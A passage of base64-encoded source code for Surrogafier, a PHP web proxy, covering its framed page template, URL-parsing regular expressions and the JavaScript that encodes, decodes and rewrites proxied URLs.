  630. c3R5bGU9ImZsb2F0OiByaWdodCI+PGEgaHJlZj0iIyIgb25jbGljaz0idG9nZ2xlX21vZGUoKTsi
  631. IGlkPSJtb2RlX3RvZ2dsZXIiPjw/cGhwIGVjaG8oU0lNUExFX01PREU/J0FkdmFuY2VkJzonU2lt
  632. cGxlJyk7ID8+IE1vZGU8L2E+PC9kaXY+CjwvdGQ+PC90cj4KPC90YWJsZT4KPG5vc2NyaXB0Pgo8
  633. YnIgLz4KPGI+Kio8L2I+IFN1cnJvZ2FmaWVyIGhhcyBkZXRlY3RlZCB0aGF0IHlvdXIgYnJvd3Nl
  634. ciBkb2VzIG5vdCBoYXZlIEphdmFzY3JpcHQgZW5hYmxlZC4gPGI+Kio8L2I+CjxiciAvPgo8Yj4q
  635. KjwvYj4gU3Vycm9nYWZpZXIgcmVxdWlyZXMgSmF2YXNjcmlwdCBpbiBvcmRlciB0byBmdW5jdGlv
  636. biB0byBpdHMgZnVsbCBwb3RlbnRpYWwuIDxiPioqPC9iPgo8L25vc2NyaXB0Pgo8L2Zvcm0+Cjwv
  637. Y2VudGVyPgo8L2JvZHk+CjwvaHRtbD4KCjw/cGhwIGV4aXQoKTsgfQoKIyB9fX0KCiMgRlJBTUVE
  638. IFBBR0UgV0lUSCBVUkwgRk9STSB7e3sKaWYoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GUkFNRV9U
  639. T1AgJiYgT1JJR19VUkwhPW51bGwpeyA/Pgo8aHRtbD4KPGhlYWQ+Cjx0aXRsZT48P3BocCBlY2hv
  640. KE9SSUdfVVJMKTsgPz48L3RpdGxlPgo8c3R5bGU+Cglib2R5e2ZvbnQtZmFtaWx5OiBiaXRzdHJl
  641. YW0gdmVyYSBzYW5zLCB0cmVidWNoZXQgbXM7IG1hcmdpbjogMHB4OyBwYWRkaW5nOiAwcHg7IGZv
  642. bnQtc2l6ZTogMTJweDsgb3ZlcmZsb3c6IGhpZGRlbn0KCWlucHV0e2JvcmRlcjogMXB4IHNvbGlk
  643. ICMwMDAwMDB9Cgl0ZHtmb250LXNpemU6IDEycHh9Cglhe3RleHQtZGVjb3JhdGlvbjogbm9uZTsg
  644. Y29sb3I6ICMwMDAwMDB9CglhOmhvdmVye3RleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lfQo8L3N0
  645. eWxlPgo8c2NyaXB0Pgo8IS0tCgo8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+PXRydWU7Cgo8P3Bo
  646. cCBpZihFTkNSWVBUX1VSTFMpIGpzX3Byb3hlbmMoKTsgPz4KCmZ1bmN0aW9uIHN1Ym1pdF9jb2Rl
  647. KCl7Cjw/cGhwIGlmKEVOQ1JZUFRfVVJMUyl7ID8+Cglkb2N1bWVudC5mb3Jtc1swXS48P3BocCBl
  648. Y2hvKENPT0tfUFJFRik7ID8+LnZhbHVlPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcGUucHJv
  649. eGVuYyhkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnZhbHVlKTsK
  650. PD9waHAgfSA/PgoJcmV0dXJuIHRydWU7Cn0KCi8vLS0+Cjwvc2NyaXB0Pgo8L2hlYWQ+Cjxib2R5
  651. Pgo8Zm9ybSBtZXRob2Q9ImdldCIgb25zdWJtaXQ9InJldHVybiBzdWJtaXRfY29kZSgpOyI+Cjxp
  652. bnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IiIgdmFsdWU9IiIgLz4KPHRhYmxlIGNlbGxwYWRkaW5n
  653. PSIwIiBjZWxsc3BhY2luZz0iMCIgc3R5bGU9IndpZHRoOiAxMDAlOyBoZWlnaHQ6IDEwMCU7IHBh
  654. ZGRpbmc6IDBweDsgbWFyZ2luOiAwcHgiPgo8dHI+PHRkPjx0YWJsZSBjZWxscGFkZGluZz0iMCIg
  655. Y2VsbHNwYWNpbmc9IjAiIHN0eWxlPSJ3aWR0aDogMTAwJTsgcGFkZGluZzogM3B4Ij4KPHRyPgoJ
  656. PHRkPiZuYnNwOzxiPjxhIGlkPSJwcm94eV9saW5rIiBocmVmPSI8P3BocCBlY2hvKFRISVNfU0NS
  657. SVBULic/PS0mPScuT0VOQ19VUkwpOyA/PiI+U3Vycm9nYWZpZXI8L2E+PC9iPiZuYnNwOyZuYnNw
  658. OzwvdGQ+Cgk8dGQgc3R5bGU9IndpZHRoOiAxMDAlIj48aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9
  659. InVybCIgbmFtZT0iIiBzdHlsZT0id2lkdGg6IDEwMCU7IHBhZGRpbmctbGVmdDogNHB4IiBpZD0i
  660. dXJsIiB2YWx1ZT0iPD9waHAgZWNobyhPUklHX1VSTCk7ID8+IiAvPjwvdGQ+Cgk8dGQ+Jm5ic3A7
  661. PC90ZD4KCTx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic2ltcGxlX3N0dWZmIiBpZD0i
  662. c2ltcGxlX3N1Ym1pdCIgdmFsdWU9IlN1cnJvZ2FmeSIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6
  663. ICNGMEYwRjAiIC8+PC90ZD4KPC90cj4KPC90YWJsZT48L3RkPjwvdHI+Cjx0cj48dGQgc3R5bGU9
  664. ImhlaWdodDogMTAwJTsgYm9yZGVyLXRvcDogMXB4IHNvbGlkICMwMDAwMDAiPgo8aWZyYW1lIG5h
  665. bWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fdG9wIiBzcmM9Ijw/cGhwIGVjaG8oVEhJU19T
  666. Q1JJUFQuJz89XyY9Jy5PRU5DX1VSTCk7ID8+IiBmcmFtZWJvcmRlcj0iMCIgc3R5bGU9ImJvcmRl
  667. cjogMHB4OyB3aWR0aDogMTAwJTsgaGVpZ2h0OiAxMDAlIj48L2lmcmFtZT4KPC90ZD48L3RyPgo8
  668. L3RhYmxlPgo8L2Zvcm0+CjwvYm9keT4KPC9odG1sPgo8P3BocCBleGl0KCk7IH0KCiMgfX19Cgoj
  669. IFBSRS1KQVZBU0NSSVBUIENPTlNUQU5UUyAmIEZVTkNUSU9OUyB7e3sKIyB0aGVzZSBjb25zdGFu
  670. dHMgYW5kIGZ1bmN0aW9ucyBtdXN0IGJlIGRlZmluZWQgYmVmb3JlIEpTIGlzIG91dHB1dCwgYnV0
  671. IHdvdWxkIGJlIG1vcmUgcmVhZGFibHkgbG9jYXRlZCBsYXRlcgoKI2RlZmluZSgnQVVSTF9MT0NL
  672. X1JFR0VYUCcsJyg/Oig/OmphdmFzY3JpcHR8bWFpbHRvfGFib3V0KTp8fnwlN2UpJyk7CmRlZmlu
  673. ZSgnRlJBTUVfTE9DS19SRUdFWFAnLCcvXig/Oig/OmphdmFzY3JpcHR8bWFpbHRvfGFib3V0KTp8
  674. IykvaScpOwpkZWZpbmUoJ0FVUkxfTE9DS19SRUdFWFAnLCcvXig/Oig/OmphdmFzY3JpcHR8bWFp
  675. bHRvfGFib3V0KTp8I3wnLnN0cl9yZXBsYWNlKGFycmF5KCcvJywnLicpLGFycmF5KCdcLycsJ1wu
  676. JyksYWRkc2xhc2hlcyhUSElTX1NDUklQVCkpLicpL2knKTsKZGVmaW5lKCdVUkxSRUcnLCcvXicu
  677. CgknKD86KFthLXpdKik/KD86XDo/XC9cLykpJy4JCSMgcHJvdG8KCScoPzooW15cQFwvXSopXEAp
  678. PycuCQkJIyB1c2VycGFzcwoJJyhbXlwvOlw/XCNcJl0qKScuCQkJIyBzZXJ2ZXJuYW1lCgknKD86
  679. XDooWzAtOV0rKSk/Jy4JCQkjIHBvcnR2YWwKCScoXC9bXlwmXD9cI10qPyk/Jy4JCQkjIHBhdGgK
  680. CScoW15cL1w/XCNcJl0qKD86XCZbXlw/XCNdKik/KScuCSMgZmlsZQoJJyg/Olw/KFtcc1xTXSo/
  681. KSk/Jy4JCQkjIHF1ZXJ5CgknKD86XCMoW1xzXFNdKikpPycuCQkJIyBsYWJlbAonJC9peCcpOwoK
  682. ZnVuY3Rpb24gZXNjYXBlX3JlZ2V4cCgkcmVnZXhwLCRkb2xsYXI9ZmFsc2UpewoJJHJlZ2V4cD1z
  683. dHJfcmVwbGFjZSgnXFwnLCdcXFxcJyxzdHJfcmVwbGFjZSgnXCcnLCdcXFwnJyxzdHJfcmVwbGFj
  684. ZSgnIicsJ1xcIicsc3RyX3JlcGxhY2UoY2hyKDEwKSwnXG4nLHN0cl9yZXBsYWNlKGNocigxMyks
  685. J1xyJyxzdHJfcmVwbGFjZShjaHIoOSksJ1x0JywkcmVnZXhwKSkpKSkpOwoJcmV0dXJuICgkZG9s
  686. bGFyP3ByZWdfcmVwbGFjZSgnL1tcXFxcXSsoPz1bMC05XSkvJywnXFxcXCQnLCRyZWdleHApOnBy
  687. ZWdfcmVwbGFjZSgnL1tcXFxcXSsoPz1bMC05XSkvJywnXFxcXFxcXFwnLCRyZWdleHApKTsgIyoK
  688. fQoKIyB9fX0KCiMgSkFWQVNDUklQVCBGVU5DUyB7e3sKCmlmKFFVRVJZX1NUUklORz09J2pzX2Z1
  689. bmNzJyB8fCBRVUVSWV9TVFJJTkc9PSdqc19mdW5jc19mcmFtZWQnKXsgPz4vLzxzY3JpcHQ+Cgov
  690. LyBKQVZBU0NSSVBUIEZVTkNTOiBERUNPRElORyB7e3sKPD9waHAganNfcHJveGVuYygpOyA/PgoK
  691. PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZS5iNjRkPWZ1bmN0aW9uKHN0cmluZyl7Cgl2YXIg
  692. YmlucmVwPSIiLGRlY3N0cj0iIjsKCXZhciBjaGFybnVtLGNoYXJiaW47CglzdHJpbmc9c3RyaW5n
  693. LnJlcGxhY2UoL1s9XSokLywiIik7Cglmb3IodmFyIGk9MDtpPHN0cmluZy5sZW5ndGg7aSsrKXsK
  694. CQljaGFybnVtPXN0cmluZy5jaGFyQ29kZUF0KGkpOwoJCWlmKGNoYXJudW0+PTk3KSBjaGFybnVt
  695. LT03MTsKCQllbHNlIGlmKGNoYXJudW0+PTY1KSBjaGFybnVtLT02NTsKCQllbHNlIGlmKGNoYXJu
  696. dW0+PTQ4KSBjaGFybnVtKz00OwoJCWVsc2UgaWYoY2hhcm51bT09NDMpIGNoYXJudW09NjI7CgkJ
  697. ZWxzZSBpZihjaGFybnVtPT00NykgY2hhcm51bT02MzsKCQliaW5yZXArPXRoaXMuZGVjdG9iaW4o
  698. Y2hhcm51bSw2KTsKCX0KCWZvcih2YXIgaT0wO2krODxiaW5yZXAubGVuZ3RoO2krPTgpewoJCWNo
  699. YXJiaW49YmlucmVwLnN1YnN0cihpLDgpOwoJCWRlY3N0cis9U3RyaW5nLmZyb21DaGFyQ29kZSh0
  700. aGlzLmJpbnRvZGVjKGNoYXJiaW4pKTsKCX0KCXJldHVybiBkZWNzdHI7Cn0KCjw/cGhwIGVjaG8o
  701. Q09PS19QUkVGKTsgPz5fcGUucHJveGRlYz1mdW5jdGlvbih1cmwpewoJdmFyIG5ld191cmwsY2hh
  702. cm51bTsKCWlmKHVybC5zdWJzdHIoMCwxKSE9J34nICYmIHVybC5zdWJzdHIoMCwzKS50b0xvd2Vy
  703. Q2FzZSgpIT0nJTdlJykgcmV0dXJuIHVybDsKCXdoaWxlKHVybC5zdWJzdHIoMCwxKT09J34nIHx8
  704. IHVybC5zdWJzdHIoMCwzKS50b0xvd2VyQ2FzZSgpPT0nJTdlJyl7CgkJdXJsPXVybC5zdWJzdHIo
  705. MSx1cmwubGVuZ3RoLTEpOwoJCXVybD10aGlzLmI2NGQodXJsKTsKCQluZXdfdXJsPSIiOwoJCWZv
  706. cihpPTA7aTx1cmwubGVuZ3RoO2krKyl7CgkJCWNoYXJudW09dXJsLmNoYXJDb2RlQXQoaSk7CgkJ
  707. CWNoYXJudW0tPSI8P3BocCBlY2hvKFNFU1NfUFJFRik7ID8+Ii5jaGFyQ29kZUF0KGklIjw/cGhw
  708. IGVjaG8oU0VTU19QUkVGKTsgPz4iLmxlbmd0aCk7CgkJCXdoaWxlKGNoYXJudW08MzIpIGNoYXJu
  709. dW0rPTk0OwoJCQluZXdfdXJsKz1TdHJpbmcuZnJvbUNoYXJDb2RlKGNoYXJudW0pOwoJCX0KCQl1
  710. cmw9bmV3X3VybDsKCX0KCXJldHVybiBkZWNvZGVVUklDb21wb25lbnQodXJsKTsgLy8gdXJsZGVj
  711. b2RlKCkKfQoKLy8gfX19CgovLyBKQVZBU0NSSVBUIEZVTkNTOiBDT09LX1BSRUYgT0JKRUNUIHt7
  712. ewoKPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pj17CgpVUkxSRUc6PD9waHAgZWNobyhzdWJzdHIo
  713. VVJMUkVHLDAsc3RybGVuKFVSTFJFRyktMSkpOyA/PiwKVEhJU19TQ1JJUFQ6Ijw/cGhwIGVjaG8o
  714. VEhJU19TQ1JJUFQpOyA/PiIsCkNPT0tfUFJFRjoiPD9waHAgZWNobyhDT09LX1BSRUYpOyA/PiIs
  715. CnBlOjw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcGUsCmdlbl9jdXJyX3VybG9iajpmdW5jdGlv
  716. bigpeyB0aGlzLmN1cnJfdXJsb2JqPW5ldyB0aGlzLmF1cmwodGhpcy5DVVJSX1VSTCk7IH0sCgpn
  717. ZXRDb29raWVBcnI6ZnVuY3Rpb24oKXsgcmV0dXJuIGRvY3VtZW50LmNvb2tpZS5zcGxpdCgiOyAi
  718. KTsgfSwKCmF1cmw6ZnVuY3Rpb24odXJsLHRvcHVybCl7Cgl0aGlzLlVSTFJFRz08P3BocCBlY2hv
  719. KENPT0tfUFJFRik7ID8+LlVSTFJFRzsKCXRoaXMuVEhJU19TQ1JJUFQ9PD9waHAgZWNobyhDT09L
  720. X1BSRUYpOyA/Pi5USElTX1NDUklQVDsKCXRoaXMuRU5DUllQVF9VUkxTPTw/cGhwIGVjaG8oQ09P
  721. S19QUkVGKTsgPz4uRU5DUllQVF9VUkxTOwoKCXRoaXMudHJpbT1mdW5jdGlvbihzdHIpeyByZXR1
  722. cm4gc3RyLnJlcGxhY2UoL15ccyooW1xzXFNdKj8pXHMqJC8sIiQxIik7IH0KCgl0aGlzLmdldF9m
  723. aWVsZHJlcT1mdW5jdGlvbihmaWVsZG5vLHZhbHVlKXsKCQl2YXIgZmllbGRyZXFzPW5ldyBBcnJh
  724. eSgpOwoJCWZpZWxkcmVxc1syXT0iOi8vIisodmFsdWUhPSIiP3ZhbHVlKyJAIjoiIik7CgkJZmll
  725. bGRyZXFzWzRdPSh2YWx1ZSE9IiIgJiYgcGFyc2VJbnQodmFsdWUpIT04MD8iOiIrcGFyc2VJbnQo
  726. dmFsdWUpOiIiKTsKCQlmaWVsZHJlcXNbN109KHZhbHVlIT0iIj8iPyIrdmFsdWU6IiIpOwoJCWZp
  727. ZWxkcmVxc1s4XT0odmFsdWUhPSIiPyIjIit2YWx1ZToiIik7CgkJaWYoZmllbGRyZXFzW2ZpZWxk
  728. bm9dIT11bmRlZmluZWQpIHJldHVybiB2YWx1ZTsKCQkvLyByZXR1cm4gKHZhbHVlIT0iIj9udWxs
  729. OnZhbHVlKTsKCQllbHNlIHJldHVybiBmaWVsZHJlcXNbZmllbGRub107Cgl9CgoJdGhpcy5zZXRf
  730. cHJvdG89ZnVuY3Rpb24ocHJvdG8pewoJCWlmKHByb3RvPT11bmRlZmluZWQpIHByb3RvPSJodHRw
  731. IjsKCQlpZih0aGlzLmxvY2tlZCkgcmV0dXJuOwoJCXRoaXMucHJvdG89cHJvdG87Cgl9Cgl0aGlz
  732. LmdldF9wcm90bz1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5wcm90bzsgfQoKCXRoaXMuZ2V0X3Vz
  733. ZXJwYXNzPWZ1bmN0aW9uKCl7IHJldHVybiB0aGlzLnVzZXJwYXNzOyB9Cgl0aGlzLnNldF91c2Vy
  734. cGFzcz1mdW5jdGlvbih1c2VycGFzcyl7IGlmKHVzZXJwYXNzPT11bmRlZmluZWQpIHVzZXJwYXNz
  735. PSIiOyB0aGlzLnVzZXJwYXNzPXVzZXJwYXNzOyB9Cgl0aGlzLmdldF9zZXJ2ZXJuYW1lPWZ1bmN0
  736. aW9uKCl7IHJldHVybiB0aGlzLnNlcnZlcm5hbWU7IH0KCXRoaXMuc2V0X3NlcnZlcm5hbWU9ZnVu
  737. Y3Rpb24oc2VydmVybmFtZSl7IGlmKHNlcnZlcm5hbWU9PXVuZGVmaW5lZCkgc2VydmVybmFtZT0i
  738. IjsgdGhpcy5zZXJ2ZXJuYW1lPXNlcnZlcm5hbWU7IH0KCXRoaXMuZ2V0X3BvcnR2YWw9ZnVuY3Rp
  739. b24oKXsgcmV0dXJuICgodGhpcy5wb3J0dmFsPT0iIik/KHRoaXMuZ2V0X3Byb3RvKCk9PSJodHRw
  740. cyI/IjQ0MyI6IjgwIik6dGhpcy5wb3J0dmFsKTsgfQoJdGhpcy5zZXRfcG9ydHZhbD1mdW5jdGlv
  741. bihwb3J0KXsgaWYocG9ydD09dW5kZWZpbmVkKSBwb3J0PSIiOyB0aGlzLnBvcnR2YWw9KChwYXJz
  742. ZUludChwb3J0KSE9ODApP3BvcnQ6IiIpLnRvU3RyaW5nKCk7IH0KCXRoaXMuZ2V0X3BhdGg9ZnVu
  743. Y3Rpb24oKXsgLy8gKioqCgkJaWYodGhpcy5wYXRoLmluZGV4T2YoIi8uLi8iKSE9LTEpIHRoaXMu
  744. cGF0aD10aGlzLnBhdGgucmVwbGFjZSgvKD86XC9bXlwvXSspezAsMX1cL1wuXC5cLy9nLCIvIik7
  745. CgkJaWYodGhpcy5wYXRoLmluZGV4T2YoIi8uLyIpIT0tMSkgd2hpbGUoKHBhdGg9dGhpcy5wYXRo
  746. LnJlcGxhY2UoIi8uLyIsIi8iKSkgJiYgcGF0aCE9dGhpcy5wYXRoKSB0aGlzLnBhdGg9cGF0aDsK
  747. CQlyZXR1cm4gdGhpcy5wYXRoOwoJfQoJdGhpcy5zZXRfcGF0aD1mdW5jdGlvbihwYXRoKXsgaWYo
  748. cGF0aD09dW5kZWZpbmVkKSBwYXRoPSIvIjsgdGhpcy5wYXRoPXBhdGg7IH0KCXRoaXMuZ2V0X2Zp
  749. bGU9ZnVuY3Rpb24oKXsgcmV0dXJuIHRoaXMuZmlsZTsgfQoJdGhpcy5zZXRfZmlsZT1mdW5jdGlv
  750. bihmaWxlKXsgaWYoZmlsZT09dW5kZWZpbmVkKSBmaWxlPSIiOyB0aGlzLmZpbGU9ZmlsZTsgfQoJ
  751. dGhpcy5nZXRfcXVlcnk9ZnVuY3Rpb24oKXsgcmV0dXJuIHRoaXMucXVlcnk7IH0KCXRoaXMuc2V0
  752. X3F1ZXJ5PWZ1bmN0aW9uKHF1ZXJ5KXsgaWYocXVlcnk9PXVuZGVmaW5lZCkgcXVlcnk9IiI7IHRo
  753. aXMucXVlcnk9cXVlcnk7IH0KCXRoaXMuZ2V0X2xhYmVsPWZ1bmN0aW9uKCl7IHJldHVybiB0aGlz
  754. LmxhYmVsOyB9Cgl0aGlzLnNldF9sYWJlbD1mdW5jdGlvbihsYWJlbCl7IGlmKGxhYmVsPT11bmRl
  755. ZmluZWQpIGxhYmVsPSIiOyB0aGlzLmxhYmVsPWxhYmVsOyB9CgoJdGhpcy5nZXRfdXJsPWZ1bmN0
  756. aW9uKCl7CgkJaWYodGhpcy5sb2NrZWQpIHJldHVybiB0aGlzLnVybDsKCQlyZXR1cm4gdGhpcy5n
  757. ZXRfcHJvdG8oKSsiOi8vIisKCQkgICAgICAgKHRoaXMuZ2V0X3VzZXJwYXNzKCk9PSIiPyIiOnRo
  758. aXMuZ2V0X3VzZXJwYXNzKCkrIkAiKSsKCQkgICAgICAgdGhpcy5nZXRfc2VydmVybmFtZSgpKwoJ
  759. CSAgICAgICAocGFyc2VJbnQodGhpcy5nZXRfcG9ydHZhbCgpKT09ODA/IiI6IjoiK3BhcnNlSW50
  760. KHRoaXMuZ2V0X3BvcnR2YWwoKSkpKwoJCSAgICAgICB0aGlzLmdldF9wYXRoKCkrdGhpcy5nZXRf
  761. ZmlsZSgpKwoJCSAgICAgICAodGhpcy5nZXRfcXVlcnkoKT09IiI/IiI6Ij8iK3RoaXMuZ2V0X3F1
  762. ZXJ5KCkpKwoJCSAgICAgICAodGhpcy5nZXRfbGFiZWwoKT09IiI/IiI6IiMiK3RoaXMuZ2V0X2xh
  763. YmVsKCkpCgkJOwoJfQoKCXRoaXMuc3Vycm9nYWZ5PWZ1bmN0aW9uKCl7CgkJdmFyIHVybD10aGlz
  764. LmdldF91cmwoKTsKCQlpZih0aGlzLmxvY2tlZCB8fCB0aGlzLmdldF9wcm90bygpK3RoaXMuZ2V0
  765. X2ZpZWxkcmVxKDIsdGhpcy5nZXRfdXNlcnBhc3MoKSkrdGhpcy5nZXRfc2VydmVybmFtZSgpK3Ro
  766. aXMuZ2V0X3BhdGgoKSt0aGlzLmdldF9maWxlKCk9PXRoaXMuVEhJU19TQ1JJUFQpIHJldHVybiB1
  767. cmw7CgkJdmFyIGxhYmVsPXRoaXMuZ2V0X2xhYmVsKCk7CgkJdGhpcy5zZXRfbGFiZWwoKTsKCQlp
  768. Zih0aGlzLkVOQ1JZUFRfVVJMUyAmJiAhdGhpcy5sb2NrZWQpIHVybD08P3BocCBlY2hvKENPT0tf
  769. UFJFRik7ID8+LnBlLnByb3hlbmModXJsKTsKCQkvL3VybD10aGlzLlRISVNfU0NSSVBUKyI/PSIr
  770. KCF0aGlzLkVOQ1JZUFRfVVJMUz9lc2NhcGUodXJsKTp1cmwpOyAvLyB1cmxlbmNvZGUoKWQKCQl1
  771. cmw9dGhpcy5USElTX1NDUklQVCsiPz0iK3VybDsgLy8gdXJsZW5jb2RlKClkCgkJdGhpcy5zZXRf
  772. bGFiZWwobGFiZWwpOwoJCXJldHVybiB1cmw7Cgl9CgoJaWYodXJsLmxlbmd0aD48P3BocCBlY2hv
  773. KE1BWElNVU1fVVJMX0xFTkdUSCk/Pil7CgkJLy9hbGVydCh0aGlzLnVybCk7IC8vIERFQlVHCgkJ
  774. Ly9hbGVydCh0aGlzLnVybC5sZW5ndGgpOyAvLyBERUJVRwoJCXRoaXMudXJsPSIiOwoJfQoJZWxz
  775. ZXsKCQkvL3RoaXMudXJsPXByZWdfcmVwbGFjZSgiLyYjKFswLTldKyk7L2UiLCJjaHIoXFwxKSIg
  776. Ly8gcGFyc2UgbGlrZSBQSFAgZG9lcyBmb3IgJiNudW07IEhUTUwgZW50aXRpZXM/IC8vIFRPRE8/
  777. CgkJdGhpcy51cmw9dGhpcy50cmltKHVybC5yZXBsYWNlKCImYW1wOyIsIiYiKS5yZXBsYWNlKCJc
  778. ciIsIiIpLnJlcGxhY2UoIlxuIiwiIikpOwoJfQoKCXRoaXMudG9wdXJsPXRvcHVybDsKCXRoaXMu
  779. bG9ja2VkPXVybC5tYXRjaCg8P3BocCBlY2hvKEFVUkxfTE9DS19SRUdFWFApOyA/Pik7IC8vKgoK
  780. CWlmKCF0aGlzLmxvY2tlZCl7CgkJdmFyIHVybHdhc3ZhbGlkPXRydWU7CgkJaWYoIXRoaXMudXJs
  781. Lm1hdGNoKHRoaXMuVVJMUkVHKSl7CgkJCXVybHdhc3ZhbGlkPWZhbHNlOwoJCQlpZih0aGlzLnRv
  782. cHVybD09dW5kZWZpbmVkKSB0aGlzLnVybD0iaHR0cDovLyIrKCh0aGlzLnVybC5jaGFyQXQoMCk9
  783. PSI6IiB8fCB0aGlzLnVybC5jaGFyQXQoMCk9PSIvIik/dGhpcy51cmwuc3Vic3RyaW5nKDEpOnRo
  784. aXMudXJsKSsodGhpcy51cmwuaW5kZXhPZigiLyIpIT0tMT8iIjoiLyIpOwoJCQllbHNlewoJCQkJ
  785. dmFyIG5ld3VybD10aGlzLnRvcHVybC5nZXRfcHJvdG8oKSsiOi8vIit0aGlzLmdldF9maWVsZHJl
  786. cSgyLHRoaXMudG9wdXJsLmdldF91c2VycGFzcygpKSt0aGlzLnRvcHVybC5nZXRfc2VydmVybmFt
  787. ZSgpKygodGhpcy50b3B1cmwuZ2V0X3BvcnR2YWwoKSE9ODAgJiYgKHRoaXMudG9wdXJsLmdldF9w
  788. cm90bygpPT0iaHR0cHMiP3RoaXMudG9wdXJsLmdldF9wb3J0dmFsKCkhPTQ0Mzp0cnVlKSk/Ijoi
  789. K3RoaXMudG9wdXJsLmdldF9wb3J0dmFsKCk6IiIpOwoJCQkJaWYodGhpcy51cmwuc3Vic3RyaW5n
  790. KDAsMSkhPSIvIikgbmV3dXJsKz10aGlzLnRvcHVybC5nZXRfcGF0aCgpOwoJCQkJdGhpcy51cmw9
  791. bmV3dXJsK3RoaXMudXJsOwoJCQl9CgkJfQoKCQl0aGlzLnNldF9wcm90bygodXJsd2FzdmFsaWQg
  792. fHwgdGhpcy50b3B1cmw9PXVuZGVmaW5lZD90aGlzLnVybC5yZXBsYWNlKC9eKFteOl0rKS4qJC8s
  793. IlwkMSIpOnRoaXMudG9wdXJsLmdldF9wcm90bygpKSk7CgkJdGhpcy5zZXRfdXNlcnBhc3ModGhp
  794. cy51cmwucmVwbGFjZSh0aGlzLlVSTFJFRywiXCQyIikpOwoJCXRoaXMuc2V0X3NlcnZlcm5hbWUo
  795. dGhpcy51cmwucmVwbGFjZSh0aGlzLlVSTFJFRywiXCQzIikpOwoJCXRoaXMuc2V0X3BvcnR2YWwo
  796. dGhpcy51cmwucmVwbGFjZSh0aGlzLlVSTFJFRywiXCQ0IikpOwoJCXRoaXMuc2V0X3BhdGgodGhp
  797. cy51cmwucmVwbGFjZSh0aGlzLlVSTFJFRywiXCQ1IikpOwoJCXRoaXMuc2V0X2ZpbGUodGhpcy51
  798. cmwucmVwbGFjZSh0aGlzLlVSTFJFRywiXCQ2IikpOwoJCXRoaXMuc2V0X3F1ZXJ5KHRoaXMudXJs
  799. LnJlcGxhY2UodGhpcy5VUkxSRUcsIlwkNyIpKTsKCQl0aGlzLnNldF9sYWJlbCh0aGlzLnVybC5y
  800. ZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDgiKSk7Cgl9CgoJLy9pZighdGhpcy5sb2NrZWQgJiYgIXRo
  801. aXMudXJsLm1hdGNoKHRoaXMuVVJMUkVHKSkgaGF2b2soNyx0aGlzLnVybCk7IC8vKgp9LAoKc3Vy
  802. cm9nYWZ5X3VybDpmdW5jdGlvbih1cmwsdG9wdXJsLGFkZHByb3h5KXsKCXVybD11cmwudG9TdHJp
  803. bmcoKTsKCWlmKCF1cmwuc3Vic3RyaW5nKSByZXR1cm47CglpZihhZGRwcm94eT09dW5kZWZpbmVk
  804. KSBhZGRwcm94eT10cnVlOwoJdmFyIHVybHF1b3RlPSIiOwoJaWYoKHVybC5zdWJzdHJpbmcoMCwx
  805. KT09IlwiIiB8fCB1cmwuc3Vic3RyaW5nKDAsMSk9PSInIikgJiYgdXJsLnN1YnN0cmluZygwLDEp
  806. PT11cmwuc3Vic3RyaW5nKHVybC5sZW5ndGgtMSx1cmwubGVuZ3RoKSl7CgkJdXJscXVvdGU9dXJs
  807. LnN1YnN0cmluZygwLDEpOwoJCXVybD11cmwuc3Vic3RyaW5nKDEsdXJsLmxlbmd0aC0xKTsKCX0K
  808. CWlmKHRvcHVybD09dW5kZWZpbmVkKSB0b3B1cmw9dGhpcy5jdXJyX3VybG9iajsKCXZhciB1cmxv
  809. Ymo9bmV3IHRoaXMuYXVybCh1cmwsdG9wdXJsKTsKCXZhciBuZXdfdXJsPShhZGRwcm94eT91cmxv
  810. Ymouc3Vycm9nYWZ5KCk6dXJsb2JqLmdldF91cmwoKSk7CglpZih1cmxxdW90ZSE9IiIpIG5ld191
  811. cmw9dXJscXVvdGUrbmV3X3VybCt1cmxxdW90ZTsKCXJldHVybiBuZXdfdXJsOwp9LAoKc3Vycm9n
  812. YWZ5X3VybF90b29iajpmdW5jdGlvbih1cmwsdG9wdXJsLGFkZHByb3h5KXsKCXVybD11cmwudG9T
  813. dHJpbmcoKTsKCWlmKCF1cmwuc3Vic3RyaW5nKSByZXR1cm47CglpZihhZGRwcm94eT09dW5kZWZp
  814. bmVkKSBhZGRwcm94eT10cnVlOwoJaWYoKHVybC5zdWJzdHJpbmcoMCwxKT09IlwiIiB8fCB1cmwu
  815. c3Vic3RyaW5nKDAsMSk9PSInIikgJiYgdXJsLnN1YnN0cmluZygwLDEpPT11cmwuc3Vic3RyaW5n
  816. KHVybC5sZW5ndGgtMSx1cmwubGVuZ3RoKSkgdXJsPXVybC5zdWJzdHJpbmcoMSx1cmwubGVuZ3Ro
  817. LTEpOwoJaWYodG9wdXJsPT11bmRlZmluZWQpIHRvcHVybD10aGlzLmN1cnJfdXJsb2JqOwoJcmV0
  818. dXJuIG5ldyB0aGlzLmF1cmwodXJsLHRvcHVybCk7Cn0sCgpkZV9zdXJyb2dhZnlfdXJsOmZ1bmN0
  819. aW9uKHVybCl7CglpZih1cmw9PXVuZGVmaW5lZCkgcmV0dXJuICIiOwoJdXJsPXVybC50b1N0cmlu
  820. ZygpOwoJaWYodXJsLm1hdGNoKDw/cGhwIGVjaG8oRlJBTUVfTE9DS19SRUdFWFApOyA/PikgfHwg
  821. IXVybC5tYXRjaCg8P3BocCBlY2hvKEFVUkxfTE9DS19SRUdFWFApOyA/PikpIHJldHVybiB1cmw7
  822. CglyZXR1cm4gdGhpcy5wZS5wcm94ZGVjKGRlY29kZVVSSUNvbXBvbmVudCh1cmwuc3Vic3RyaW5n
  823. KHVybC5pbmRleE9mKCc/JykrMSkucmVwbGFjZSg8P3BocCBlY2hvKFBBR0VUWVBFX1JFR0VYUCk7
